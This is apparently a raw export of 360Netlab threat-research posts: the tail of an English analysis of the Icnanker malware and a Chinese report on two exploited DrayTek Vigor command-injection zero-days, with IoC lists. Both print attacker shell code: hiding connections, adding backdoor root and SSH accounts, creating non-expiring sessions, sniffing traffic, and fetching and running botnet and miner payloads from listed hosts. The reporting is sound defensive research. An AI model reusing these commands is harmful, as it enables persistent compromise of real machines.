\"`cat /bin/ss | grep $Address`\" ]; then\n\t\t\tlockr -i /bin/;lockr -i /bin/ss\n\t\t\techo '#!/bin/sh' > /bin/ss\n\t\t\techo 'iss|grep -v \"'$Address'\"' >> /bin/ss\n\t\t\techo 'exit' >> /bin/ss\n\t\t\tchmod 777 /bin/ss;lockr +i /bin/ss >/dev/null 2>&1\n\t\tfi\n\tfi\nfi\n\n```\n* Delete some system files to increase the difficulty for repair.\n```\nlockr -i /usr/bin/;\nlockr -i /usr/bin/wget;\nrm -f /usr/bin/wget;\nlockr -i /usr/bin/chattr;\nrm -f /usr/bin/chattr\n```\n* Add new user (ntps) to facilitate subsequent control of the victim's machine\n```\n # by icnanker -----------------------------------------------\n if [ -z \"`cat /etc/passwd|grep \"ntps\"`\" ]; then\n \tlockr -i /etc/;lockr -i /etc/passwd #ntps\n \techo 'ntps:x:0:1:ntps:/root:/bin/bash' >> /etc/passwd\n \tlockr -i /etc/;lockr +i /etc/passwd >/dev/null 2>&1\n fi\n if [ -z \"`cat /etc/shadow|grep \"ntps\"`\" ]; then\n \tlockr -i /etc/;lockr -i /etc/shadow #tianyong\n \techo 'ntps:$6$J6RdL6Xh$udhpd5iErOxXyZSERCi0NOtoXE9J095xDRo4DJfCoTEsImcxype6iltDL8pTG7w/7Gbp9Ohrii9O.4NnxqG/h.:16583:0:99999:7:::' >> /etc/shadow\n \tlockr -i /etc/;lockr +i /etc/shadow >/dev/null 2>&1\n fi\n```\n* Download and execute specific samples, here it downloads the Elknot Botnet.\n```\n # by icnanker -----------------------------------------------\n iptable=`iptables -L INPUT | grep \"$Address\" | grep 'ACCEPT'`\n if [ -z \"$iptable\" ];then\n \tiptables -I INPUT -s $Address -j ACCEPT\n else\n \tiptables -D INPUT -s $Address -j DROP\n fi\n process=`ips -ef | grep \"$tempfile\" | grep -v \"grep\" | wc -l`\n if [ $process != 1 ];then\n \tif [ ! -f \"$filebak\" ];then\n \t\tlockr -i /usr/bin/;lockr -i /usr/bin/htrdpm;rm -f /usr/bin/htrdpm\n \t\tcd /usr/bin/;dget http[://hfs.ubtv.xyz:22345/htrdpm\n \t\tcd $path;mv -f /usr/bin/htrdpm $filepath\n \telse\n \t\tcp -f $filebak $filepath\n \tfi\n \tRunkillallconnect\n \tchmod 777 $filepath\n \tnohup $filepath >/dev/null 2>&1 &\n fi\n```\n\nAt this point, Icnanker will load itself when system boots and maintain continuously control of the victim secretly. At the same time, Icnanker has pretty flexible configuration. When migrating from one service to another, the author only needs to update the dns settings in the scripts. \n\nTake the **Elknot and Miner** as examples\n```\nelknot\n\nResolveIP=`nslookup [ddd.ubtv.xyz|grep \"Address: \"|awk '{print $2}'`\nif [ -z \"$ResolveIP\" ];then\n\tlockr -i /etc/;lockr -i /etc/resolv.conf\n\techo 'nameserver 114.114.114.114' > /etc/resolv.conf\n\techo 'nameserver 8.8.8.8' >> /etc/resolv.conf\n\techo 'nameserver 8.8.4.4' >> /etc/resolv.conf\n\tlockr +i /etc/resolv.conf >/dev/null 2>&1\n\tservice network restart;sleep 1\n\tAddress=`nslookup ddd.ubtv.xyz|grep \"Address: \"|awk '{print $2}'`\nelse\n\tAddress=\"$ResolveIP\"\nfi\n dget http[://hfs.ubtv.xyz:22345/htrdpm\n\n-------------------------------------------VS----------------------------------------\n\nminer\n\nResolveIP=`nslookup p[ool.supportxmr.com|grep \"Address: \"|awk '{print $2}'`\nif [ -z \"$ResolveIP\" ];then\n\tlockr -i /etc/;lockr -i /etc/resolv.conf\n\techo 'nameserver 114.114.114.114' > /etc/resolv.conf\n\techo 'nameserver 8.8.8.8' >> /etc/resolv.conf\n\techo 'nameserver 8.8.4.4' >> /etc/resolv.conf\n\tlockr +i /etc/resolv.conf >/dev/null 2>&1\n\tservice network restart;sleep 1\n\tAddress=`nslookup p[ool.supportxmr.com|grep \"Address: \"|awk '{print $2}'`\nelse\n\tAddress=\"$ResolveIP\"\nfi\n dget http[://xz.jave.xyz:22345/.xm\n```\n\nHere is a list of Downloader and theirs services currently we observed.\n\n| filename | md5 | payload type | payload url |\n| --------- | -------------------------------- | ------------- | -------------------------------------- |\n| 80 | 5790dedae465994d179c63782e51bac1 | elknot botnet | http[://hfs.ubtv.xyz:22345/htrdpm |\n| .ds1;.ds2 | 6abe83ee8481b5ce0894d837eabb41df | miner | http[://xz.jave.xyz:22345/.xm |\n| .ssh | 89cd1ebfa5757dca1286fd925e0762de | elknot botnet | http[://hfs.ubtv.xyz:22345/htrdpm |\n| 19880 | d989e81c4eb23c1e701024ed26f55849 | elknot botnet | http[://hfs.ubtv.xyz:22345/htrdps |\n\n## Icnanker's distributed samples \nIcnanker's distributed samples are all stored on its HFS server, and from what we have seen so far, all samples are the typical botnet families: Elknot Botnet, Xor Botnet, and XMR mining service.\n* Elknot Botnet\n\n | filename | md5 | c2 |\n | --------- | -------------------------------- | ------------------------------------- |\n | htrdps | 5c90bfbae5c030da91c9054ecb3194b6 | ubt.ubtv.xyz:19880, jav.jave.xyz:6001 |\n | kcompact0 | eec19f1639871b6e6356e7ee05db8a94 | sys.jave.xyz:1764, jav.jave.xyz:6001 |\n\n* Xor.DDoS Botnet\n\n | filename | md5 | c2 |\n | -------- | -------------------------------- | -------------------------------------------------------- |\n | ss | 0764da93868218d6ae999ed7bd66a98e | 8uch.jave.xyz:3478,8uc1.jave.xyz:1987,8uc2.ubtv.xyz:2987 |\n\n* Miner\n\n | filename | md5 | c2 |\n | -------- | -------------------------------- | ---- |\n | sh | 17ac3bd2753b900367cb9ee4068fe0c1 | |\n | .xm | 765a0899cb87400e8a27ab572f3cdd61 | |\n## Suggestions\nWe recommend that users watch for the clues we mentioned above and block the C2 on their networks, \nWe also suggest strong login credentials should always be enforced.\n\n\n## Contact us\nReaders are always welcomed to reach us on [twitter](https://twitter.com/360netlab), or email to netlab at 360 dot cn.\n\n## IoC list\n### Sample MD5\n```\n5790dedae465994d179c63782e51bac1\n6abe83ee8481b5ce0894d837eabb41df\n89cd1ebfa5757dca1286fd925e0762de\nd989e81c4eb23c1e701024ed26f55849\n5c90bfbae5c030da91c9054ecb3194b6\neec19f1639871b6e6356e7ee05db8a94\n0764da93868218d6ae999ed7bd66a98e\n17ac3bd2753b900367cb9ee4068fe0c1\n765a0899cb87400e8a27ab572f3cdd61\n187fa428ed44f006df0c8232be4a6e4e\n```\n \n### CC\n```\nubt.ubtv.xyz:19880 #Elknot\nsys.jave.xyz:1764 #Elknot\njav.jave.xyz:6001 #Elknot\n8uch.jave.xyz:3478 #Xor.DDoS\n8uc1.jave.xyz:1987 #Xor.DDoS\n8uc2.ubtv.xyz:2987 #Xor.DDoS\nxz.jave.xyz:22345 #Icnanker HFS\n```\n\n\n\n\n\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5e7823267646030007b269e5 |
post | null | 2020-03-26T04:10:46.000Z | 63873b9a8b1c1e0007f52f68 | two-zero-days-are-targeting-draytek-broadband-cpe-devices | 0 | 2020-04-15T11:07:25.000Z | public | published | null | 2020-03-27T16:34:17.000Z | DrayTek Vigor企业级路由器和交换机设备在野0-day 漏洞分析报告 | <!--kg-card-begin: markdown--><p><em>本文作者：<a href="https://twitter.com/_O_owl">马延龙</a>，<a href="https://twitter.com/zom3y3">叶根深</a>，<a href="https://twitter.com/_E_nn_">刘宏达</a></em></p>
<h3 id="">背景介绍</h3>
<p>从2019年12月4开始，360Netlab未知威胁检测系统持续监测到两个攻击团伙使用DrayTek Vigor企业级路由器和交换机设备0-day漏洞，窃听设备网络流量，开启SSH服务并创建系统后门账号，创建Web Session后门等恶意行为。</p>
<p>2019年12月25号，我们在Twitter[<a href="https://twitter.com/360Netlab/status/1209763610525757443">1]</a>[<a href="https://twitter.com/360Netlab/status/1209763784572555264">2]</a>上披露了DrayTek Vigor在野0-day漏洞攻击IoC特征，并给相关国家CERT提供技术支持。</p>
<p>2020年2月10号，厂商DrayTek发布安全公告[<a href="https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/">3]</a>，修复了该漏洞并发布了最新的固件程序1.5.1。</p>
<h3 id="">漏洞分析</h3>
<p>我们根据Firmware Total系统[<a href="https://ft.iotsec.360.cn/">4]</a> 进行DrayTek Vigor在野0-day漏洞定位和模拟漏洞验证。其中2个0-day漏洞命令注入点<code>keyPath</code>，<code>rtick</code>已经被厂商修复，它们均位于<code>/www/cgi-bin/mainfunction.cgi</code>程序中，对应的Web Server程序为<code>/usr/sbin/lighttpd</code>。</p>
<h4 id="keypath">keyPath 命令注入漏洞分析</h4>
<p>漏洞类型：未授权远程命令执行漏洞<br>
漏洞原因：DrayTek Vigor网络设备在登陆时支持2种账号密码传输方式，分别为明文传输和RSA加密传输。</p>
<p>当使用RSA加密传输时，交互逻辑为：</p>
<ol>
<li>Web前端使用RSA公钥对用户名和密码进行加密，并用<code>keyPath</code>字段指定RSA私钥的文件后缀，发起登陆请求；</li>
<li><code>/www/cgi-bin/mainfunction.cgi</code>程序中的<code>formLogin()</code>函数检测到<code>keyPath</code>字段不为空时，开始进行解密操作；</li>
<li><code>formLogin()</code>函数根据<code>keyPath</code>字段，拼接如下路径<code>/tmp/rsa/private_key_<keyPath></code>作为RSA私钥；</li>
<li><code>formLogin()</code>函数分别对用户名、密码字段进行Base64解码，并写入到<code>/tmp/rsa/binary_login</code>文件中，然后拼接如下命令并通过openssl命令解密；<pre><code class="language-sh">openssl rsautl -inkey '/tmp/rsa/private_key_<keyPath>' -decrypt -in /tmp/rsa/binary_login
</code></pre>
</li>
<li>最后<code>formLogin()</code>函数读取解密后的用户名、密码进行验证。</li>
</ol>
<p>由于在以上过程中对<code>keyPath</code>字段的危险字符过滤不完善，导致无需授权的远程命令执行。</p>
<p>漏洞修复：在1.5.1版本中，厂商对<code>keyPath</code>字段限定长度为30，并限定字符必须为十六进制字符。<br>
<a href="__GHOST_URL__/content/images/2020/03/WechatIMG348.png"><img src="__GHOST_URL__/content/images/2020/03/WechatIMG348.png" class="kg-image"/></a></p>
<h4 id="rtick">rtick 命令注入漏洞分析</h4>
<p>漏洞类型：未授权远程命令执行漏洞<br>
漏洞原因：<code>/www/cgi-bin/mainfunction.cgi</code>程序中获取验证码的函数是<code>formCaptcha()</code>，该函数没有过滤传入的时间戳(rtick)，就调用<code>/usr/sbin/captcha</code>程序生成以<code><rtick>.gif</code>为名称的验证码图片，导致命令注入。</p>
<p>漏洞修复：在1.5.1版本中，厂商对rtick字段限定字符必须为<code>[0-9]</code>。<br>
<a href="__GHOST_URL__/content/images/2020/03/1585282366543.png"><img src="__GHOST_URL__/content/images/2020/03/1585282366543.png" class="kg-image"/></a></p>
<h3 id="0day">在野0-day攻击行为分析</h3>
<h4 id="a">攻击者A</h4>
<ol>
<li>攻击者A利用<code>keyPath</code>命令注入漏洞，下载并执行<code>http://103.82.143.51:58172/vig/tcpst1</code>脚本，然后继续下载并执行以下脚本。</li>
</ol>
<pre><code>http://103.82.143.51:58172/vi1
http://103.82.143.51:58172/vig/mailsend.sh1
</code></pre>
<ol start="2">
<li>攻击者A通过脚本<code>/etc/mailsend.sh</code>，窃听DrayTek Vigor网络设备上所有网卡，端口为21，25，143，110的流量。<br>
其中抓包命令为：<br>
<code>/usr/sbin/tcpdump -i any -n -nn port 21 or port 25 or port 143 or port 110 -s 65535 -w /data/firewall.pcap &</code><br>
在每周一，三，五，0点0分时，通过crontab计划任务上传窃听到网络数据包<code>/data/firewall.pcap</code>给<code>https://103.82.143.51:58443/uploLSkciajUS.php</code>。</li>
</ol>
<h4 id="b">攻击者B</h4>
<ol>
<li>攻击者B利用rtick命令注入漏洞，在<code>/var/session.json</code>文件中创建了2组永不过期的Web Session 后门；</li>
</ol>
<pre><code>json -f /var/session.json set 7:CBZD1SOMBUHVAF34TPDGURT9RTMLRUDK username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/""\""0\""""/""0""/g /var/session.json | sed -i s/""\""7\""""/""7""/g /var/session.json
json -f /var/session.json set 7:R8GFPS6E705MEXZWVQ0IB1SM7JTRVE57 username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/""\""0\""""/""0""/g /var/session.json | sed -i s/""\""7\""""/""7""/g /var/session.json
</code></pre>
<ol start="2">
<li>攻击者B利用rtick注入漏洞，在TCP/22335，TCP/32459端口开启了SSH后门；</li>
</ol>
<pre><code>/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 22335 | iptables -I PPTP_CTRL 1 -p tcp --dport 22335 -j ACCEPT
/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 32459 | iptables -I PPTP_CTRL 1 -p tcp --dport 32459 -j ACCEPT
</code></pre>
<ol start="3">
<li>攻击者创建了系统后门账号<code>wuwuhanhan:caonimuqin</code>。</li>
</ol>
<pre><code>sed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$3u34GCgO$9Pklx3.3OVwbIBja/CzZN/:500:500:admin:/tmp:/usr/bin/clish' >> /etc/passwd ; cat /etc/passwd;
sed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$sbIljOP5$vacGOLqYAXcw3LWek9aJQ.:500:500:admin:/tmp:/usr/bin/clish' >> /etc/passwd ; cat /etc/passwd;
</code></pre>
<h3 id="websession">Web Session后门</h3>
<p>我们根据攻击者B在野0-day PoC研究发现DrayTek Vigor网络设备在Session中设置<code>updatetime</code>为0时，对应的功能是Auto-Logout: Disable。此时，这个Session会话永不过期，除非设备重启。<br>
<a href="__GHOST_URL__/content/images/2020/03/WechatIMG280.png"><img src="__GHOST_URL__/content/images/2020/03/WechatIMG280.png" class="kg-image"/></a></p>
<h3 id="">时间线</h3>
<pre><code>2019年12月4号，我们发现攻击者A使用DrayTek Vigor网络设备0-day keyPath漏洞，窃听设备网络流量。
2019年12月25号，我们在Twitter上披露攻击者A的IoC特征，并给相关国家CERT提供技术支持。
2020年1月28号，我们发现攻击者B使用DrayTek Vigor网络设备0-day rtick漏洞，创建SSH和WEB后门。
2020年2月1号，MITRE发布Vigor路由器0-day漏洞编号CVE-2020-8515。
2020年2月10号，DrayTek发布安全公告和最新的固件程序。
</code></pre>
<h3 id="">受影响的固件列表</h3>
<pre><code>Vigor2960 < v1.5.1
Vigor300B < v1.5.1
Vigor3900 < v1.5.1
VigorSwitch20P2121 <= v2.3.2
VigorSwitch20G1280 <= v2.3.2
VigorSwitch20P1280 <= v2.3.2
VigorSwitch20G2280 <= v2.3.2
VigorSwitch20P2280 <= v2.3.2
</code></pre>
<h3 id="">处置建议</h3>
<p>我们建议DrayTek Vigor用户及时检查并更新固件系统，同时检查是否存在tcpdump进程，SSH后门账号, Web Session后门等。</p>
<p>我们建议读者对相关IP和URL进行监控和封锁。</p>
<h3 id="">联系我们</h3>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者在微信公众号 <strong>360Netlab</strong> 上联系我们。</p>
<h3 id="ioclist">IoC list</h3>
<p>MD5</p>
<pre><code>7c42b66ef314c466c1e3ff6b35f134a4
01946d5587c2774418b5a6c181199099
d556aa48fa77040a03ab120b4157c007
</code></pre>
<p>URL</p>
<pre><code>http://103.82.143.51:58172/vig/tcpst1
http://103.82.143.51:58172/vi1
http://103.82.143.51:58172/vig/mailsend.sh1
https://103.82.143.51:58443/LSOCAISJDANSB.php
https://103.82.143.51:58443/uploLSkciajUS.php
</code></pre>
<p>Scanner IP</p>
<pre><code>103.82.143.51 Korea ASN136209 Korea Fast Networks
178.151.198.73 Ukraine ASN13188 Content Delivery Network Ltd
</code></pre>
<!--kg-card-end: markdown--> | 本文作者：马延龙，叶根深，刘宏达
背景介绍
从2019年12月4开始，360Netlab未知威胁检测系统持续监测到两个攻击团伙使用DrayTek Vigor企业级路由器和交换机设备0-day漏洞，窃听设备网络流量，开启SSH服务并创建系统后门账号，创建Web Session后门等恶意行为。
2019年12月25号，我们在Twitter[1][2]上披露了DrayTek Vigor在野0-day漏洞攻击IoC特征，并给相关国家CERT提供技术支持。
2020年2月10号，厂商DrayTek发布安全公告[3]，修复了该漏洞并发布了最新的固件程序1.5.1。
漏洞分析
我们根据Firmware Total系统[4] 进行DrayTek Vigor在野0-day漏洞定位和模拟漏洞验证。其中2个0-day漏洞命令注入点keyPath，rtick已经被厂商修复，它们均位于/www/cgi-bin/mainfunction.cgi程序中，对应的Web Server程序为/usr/sbin/lighttpd。
keyPath 命令注入漏洞分析
漏洞类型：未授权远程命令执行漏洞
漏洞原因：DrayTek Vigor网络设备在登陆时支持2种账号密码传输方式，分别为明文传输和RSA加密传输。
当使用RSA加密传输时，交互逻辑为：
1. Web前端使用RSA公钥对用户名和密码进行加密，并用keyPath字段指定RSA私钥的文件后缀，发起登陆请求；
2. /www/cgi-bin/mainfunction.cgi程序中的formLogin()函数检测到keyPath字段不为空时，开始进行解密操作；
3. formLogin()函数根据keyPath字段，拼接如下路径/tmp/rsa/private_key_<keyPath>作为RSA私钥；
4. formLogin()函数分别对用户名、密码字段进行Base64解码，并写入到/tmp/rsa/binary_login文件中，然后拼接如下命令并通过openssl命令解密；
openssl rsautl -inkey '/tmp/rsa/private_key_<keyPath>' -decrypt -in /tmp/rsa/binary_login
5. 最后formLogin()函数读取解密后的用户名、密码进行验证。
由于在以上过程中对keyPath字段的危险字符过滤不完善，导致无需授权的远程命令执行。
漏洞修复：在1.5.1版本中，厂商对keyPath字段限定长度为30，并限定字符必须为十六进制字符。
rtick 命令注入漏洞分析
漏洞类型：未授权远程命令执行漏洞
漏洞原因：/www/cgi-bin/mainfunction.cgi程序中获取验证码的函数是formCaptcha()，该函数没有过滤传入的时间戳(rtick)，就调用/usr/sbin/captcha程序生成以<rtick>.gif为名称的验证码图片，导致命令注入。
漏洞修复：在1.5.1版本中，厂商对rtick字段限定字符必须为[0-9]。
在野0-day攻击行为分析
攻击者A
1. 攻击者A利用keyPath命令注入漏洞，下载并执行http://103.82.143.51:58172/vig/tcpst1脚本，然后继续下载并执行以下脚本。
http://103.82.143.51:58172/vi1
http://103.82.143.51:58172/vig/mailsend.sh1
2. 攻击者A通过脚本/etc/mailsend.sh，窃听DrayTek Vigor网络设备上所有网卡，端口为21，25，143，110的流量。
其中抓包命令为：
/usr/sbin/tcpdump -i any -n -nn port 21 or port 25 or port 143 or port 110 -s 65535 -w /data/firewall.pcap &
在每周一，三，五，0点0分时，通过crontab计划任务上传窃听到网络数据包/data/firewall.pcap给https://103.82.143.51:58443/uploLSkciajUS.php。
攻击者B
1. 攻击者B利用rtick命令注入漏洞，在/var/session.json文件中创建了2组永不过期的Web Session 后门；
json -f /var/session.json set 7:CBZD1SOMBUHVAF34TPDGURT9RTMLRUDK username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/""\""0\""""/""0""/g /var/session.json | sed -i s/""\""7\""""/""7""/g /var/session.json
json -f /var/session.json set 7:R8GFPS6E705MEXZWVQ0IB1SM7JTRVE57 username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/""\""0\""""/""0""/g /var/session.json | sed -i s/""\""7\""""/""7""/g /var/session.json
2. 攻击者B利用rtick注入漏洞，在TCP/22335，TCP/32459端口开启了SSH后门；
/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 22335 | iptables -I PPTP_CTRL 1 -p tcp --dport 22335 -j ACCEPT
/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 32459 | iptables -I PPTP_CTRL 1 -p tcp --dport 32459 -j ACCEPT
3. 攻击者创建了系统后门账号wuwuhanhan:caonimuqin。
sed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$3u34GCgO$9Pklx3.3OVwbIBja/CzZN/:500:500:admin:/tmp:/usr/bin/clish' >> /etc/passwd ; cat /etc/passwd;
sed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$sbIljOP5$vacGOLqYAXcw3LWek9aJQ.:500:500:admin:/tmp:/usr/bin/clish' >> /etc/passwd ; cat /etc/passwd;
Web Session后门
我们根据攻击者B在野0-day PoC研究发现DrayTek Vigor网络设备在Session中设置updatetime为0时，对应的功能是Auto-Logout: Disable。此时，这个Session会话永不过期，除非设备重启。
时间线
2019年12月4号，我们发现攻击者A使用DrayTek Vigor网络设备0-day keyPath漏洞，窃听设备网络流量。
2019年12月25号，我们在Twitter上披露攻击者A的IoC特征，并给相关国家CERT提供技术支持。
2020年1月28号，我们发现攻击者B使用DrayTek Vigor网络设备0-day rtick漏洞，创建SSH和WEB后门。
2020年2月1号，MITRE发布Vigor路由器0-day漏洞编号CVE-2020-8515。
2020年2月10号，DrayTek发布安全公告和最新的固件程序。
受影响的固件列表
Vigor2960 < v1.5.1
Vigor300B < v1.5.1
Vigor3900 < v1.5.1
VigorSwitch20P2121 <= v2.3.2
VigorSwitch20G1280 <= v2.3.2
VigorSwitch20P1280 <= v2.3.2
VigorSwitch20G2280 <= v2.3.2
VigorSwitch20P2280 <= v2.3.2
处置建议
我们建议DrayTek Vigor用户及时检查并更新固件系统，同时检查是否存在tcpdump进程，SSH后门账号, Web Session后门等。
我们建议读者对相关IP和URL进行监控和封锁。
联系我们
感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。
IoC list
MD5
7c42b66ef314c466c1e3ff6b35f134a4
01946d5587c2774418b5a6c181199099
d556aa48fa77040a03ab120b4157c007
URL
http://103.82.143.51:58172/vig/tcpst1
http://103.82.143.51:58172/vi1
http://103.82.143.51:58172/vig/mailsend.sh1
https://103.82.143.51:58443/LSOCAISJDANSB.php
https://103.82.143.51:58443/uploLSkciajUS.php
Scanner IP
103.82.143.51 Korea ASN136209 Korea Fast Networks
178.151.198.73 Ukraine ASN13188 Content Delivery Network Ltd
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"*本文作者：[马延龙](https://twitter.com/_O_owl)，[叶根深](https://twitter.com/zom3y3)，[刘宏达](https://twitter.com/_E_nn_)*\n\n### 背景介绍\n从2019年12月4开始，360Netlab未知威胁检测系统持续监测到两个攻击团伙使用DrayTek Vigor企业级路由器和交换机设备0-day漏洞，窃听设备网络流量，开启SSH服务并创建系统后门账号，创建Web Session后门等恶意行为。\n\n2019年12月25号，我们在Twitter[[1\\]](https://twitter.com/360Netlab/status/1209763610525757443)[[2\\]](https://twitter.com/360Netlab/status/1209763784572555264)上披露了DrayTek Vigor在野0-day漏洞攻击IoC特征，并给相关国家CERT提供技术支持。\n\n2020年2月10号，厂商DrayTek发布安全公告[[3\\]](https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/)，修复了该漏洞并发布了最新的固件程序1.5.1。\n\n### 漏洞分析\n我们根据Firmware Total系统[[4\\]](https://ft.iotsec.360.cn/) 进行DrayTek Vigor在野0-day漏洞定位和模拟漏洞验证。其中2个0-day漏洞命令注入点`keyPath`，`rtick`已经被厂商修复，它们均位于`/www/cgi-bin/mainfunction.cgi`程序中，对应的Web Server程序为`/usr/sbin/lighttpd`。\n\n#### keyPath 命令注入漏洞分析\n漏洞类型：未授权远程命令执行漏洞\n漏洞原因：DrayTek Vigor网络设备在登陆时支持2种账号密码传输方式，分别为明文传输和RSA加密传输。\n\n当使用RSA加密传输时，交互逻辑为：\n1. Web前端使用RSA公钥对用户名和密码进行加密，并用`keyPath`字段指定RSA私钥的文件后缀，发起登陆请求；\n2. `/www/cgi-bin/mainfunction.cgi`程序中的`formLogin()`函数检测到`keyPath`字段不为空时，开始进行解密操作；\n3. `formLogin()`函数根据`keyPath`字段，拼接如下路径`/tmp/rsa/private_key_<keyPath>`作为RSA私钥；\n4. `formLogin()`函数分别对用户名、密码字段进行Base64解码，并写入到`/tmp/rsa/binary_login`文件中，然后拼接如下命令并通过openssl命令解密；\n ```sh\n openssl rsautl -inkey '/tmp/rsa/private_key_<keyPath>' -decrypt -in /tmp/rsa/binary_login\n ```\n5. 最后`formLogin()`函数读取解密后的用户名、密码进行验证。\n\n由于在以上过程中对`keyPath`字段的危险字符过滤不完善，导致无需授权的远程命令执行。\n\n漏洞修复：在1.5.1版本中，厂商对`keyPath`字段限定长度为30，并限定字符必须为十六进制字符。\n<a href=\"__GHOST_URL__/content/images/2020/03/WechatIMG348.png\"><img src=\"__GHOST_URL__/content/images/2020/03/WechatIMG348.png\" class=\"kg-image\"/></a>\n\n\n#### rtick 命令注入漏洞分析\n漏洞类型：未授权远程命令执行漏洞\n漏洞原因：`/www/cgi-bin/mainfunction.cgi`程序中获取验证码的函数是`formCaptcha()`，该函数没有过滤传入的时间戳(rtick)，就调用`/usr/sbin/captcha`程序生成以`<rtick>.gif`为名称的验证码图片，导致命令注入。\n\n漏洞修复：在1.5.1版本中，厂商对rtick字段限定字符必须为`[0-9]`。\n<a href=\"__GHOST_URL__/content/images/2020/03/1585282366543.png\"><img src=\"__GHOST_URL__/content/images/2020/03/1585282366543.png\" class=\"kg-image\"/></a>\n\n### 在野0-day攻击行为分析\n#### 攻击者A\n1. 攻击者A利用`keyPath`命令注入漏洞，下载并执行`http://103.82.143.51:58172/vig/tcpst1`脚本，然后继续下载并执行以下脚本。\n```\nhttp://103.82.143.51:58172/vi1\nhttp://103.82.143.51:58172/vig/mailsend.sh1\n```\n\n2. 攻击者A通过脚本`/etc/mailsend.sh`，窃听DrayTek Vigor网络设备上所有网卡，端口为21，25，143，110的流量。\n其中抓包命令为：\n`/usr/sbin/tcpdump -i any -n -nn port 21 or port 25 or port 143 or port 110 -s 65535 -w /data/firewall.pcap &`\n在每周一，三，五，0点0分时，通过crontab计划任务上传窃听到网络数据包`/data/firewall.pcap`给`https://103.82.143.51:58443/uploLSkciajUS.php`。\n\n#### 攻击者B\n1. 攻击者B利用rtick命令注入漏洞，在`/var/session.json`文件中创建了2组永不过期的Web Session 后门；\n```\njson -f /var/session.json set 7:CBZD1SOMBUHVAF34TPDGURT9RTMLRUDK username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/\"\"\\\"\"0\\\"\"\"\"/\"\"0\"\"/g /var/session.json | sed -i s/\"\"\\\"\"7\\\"\"\"\"/\"\"7\"\"/g /var/session.json\njson -f /var/session.json set 7:R8GFPS6E705MEXZWVQ0IB1SM7JTRVE57 username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/\"\"\\\"\"0\\\"\"\"\"/\"\"0\"\"/g /var/session.json | sed -i s/\"\"\\\"\"7\\\"\"\"\"/\"\"7\"\"/g /var/session.json\n```\n2. 攻击者B利用rtick注入漏洞，在TCP/22335，TCP/32459端口开启了SSH后门；\n```\n/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 22335 | iptables -I PPTP_CTRL 1 -p tcp --dport 22335 -j ACCEPT\n/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 32459 | iptables -I PPTP_CTRL 1 -p tcp --dport 32459 -j ACCEPT\n```\n3. 攻击者创建了系统后门账号`wuwuhanhan:caonimuqin`。\n```\nsed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$3u34GCgO$9Pklx3.3OVwbIBja/CzZN/:500:500:admin:/tmp:/usr/bin/clish' >> /etc/passwd ; cat /etc/passwd;\nsed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$sbIljOP5$vacGOLqYAXcw3LWek9aJQ.:500:500:admin:/tmp:/usr/bin/clish' >> /etc/passwd ; cat /etc/passwd;\n```\n\n### Web Session后门\n我们根据攻击者B在野0-day PoC研究发现DrayTek Vigor网络设备在Session中设置`updatetime`为0时，对应的功能是Auto-Logout: Disable。此时，这个Session会话永不过期，除非设备重启。\n<a href=\"__GHOST_URL__/content/images/2020/03/WechatIMG280.png\"><img src=\"__GHOST_URL__/content/images/2020/03/WechatIMG280.png\" class=\"kg-image\"/></a>\n\n### 时间线\n```\n2019年12月4号，我们发现攻击者A使用DrayTek Vigor网络设备0-day keyPath漏洞，窃听设备网络流量。\n2019年12月25号，我们在Twitter上披露攻击者A的IoC特征，并给相关国家CERT提供技术支持。\n2020年1月28号，我们发现攻击者B使用DrayTek Vigor网络设备0-day rtick漏洞，创建SSH和WEB后门。\n2020年2月1号，MITRE发布Vigor路由器0-day漏洞编号CVE-2020-8515。\n2020年2月10号，DrayTek发布安全公告和最新的固件程序。\n```\n\n### 受影响的固件列表\n```\nVigor2960 < v1.5.1\nVigor300B < v1.5.1\nVigor3900 < v1.5.1\nVigorSwitch20P2121 <= v2.3.2\nVigorSwitch20G1280 <= v2.3.2\nVigorSwitch20P1280 <= v2.3.2\nVigorSwitch20G2280 <= v2.3.2\nVigorSwitch20P2280 <= v2.3.2\n```\n\n### 处置建议\n我们建议DrayTek Vigor用户及时检查并更新固件系统，同时检查是否存在tcpdump进程，SSH后门账号, Web Session后门等。\n\n我们建议读者对相关IP和URL进行监控和封锁。\n\n### 联系我们\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者在微信公众号 **360Netlab** 上联系我们。\n\n\n### IoC list\n\nMD5\n```\n7c42b66ef314c466c1e3ff6b35f134a4\n01946d5587c2774418b5a6c181199099\nd556aa48fa77040a03ab120b4157c007\n```\n\nURL\n```\nhttp://103.82.143.51:58172/vig/tcpst1\nhttp://103.82.143.51:58172/vi1\nhttp://103.82.143.51:58172/vig/mailsend.sh1\nhttps://103.82.143.51:58443/LSOCAISJDANSB.php\nhttps://103.82.143.51:58443/uploLSkciajUS.php\n```\n\nScanner IP\n```\n103.82.143.51 \tKorea ASN136209 \tKorea Fast Networks \n178.151.198.73 \tUkraine \tASN13188 \tContent Delivery Network 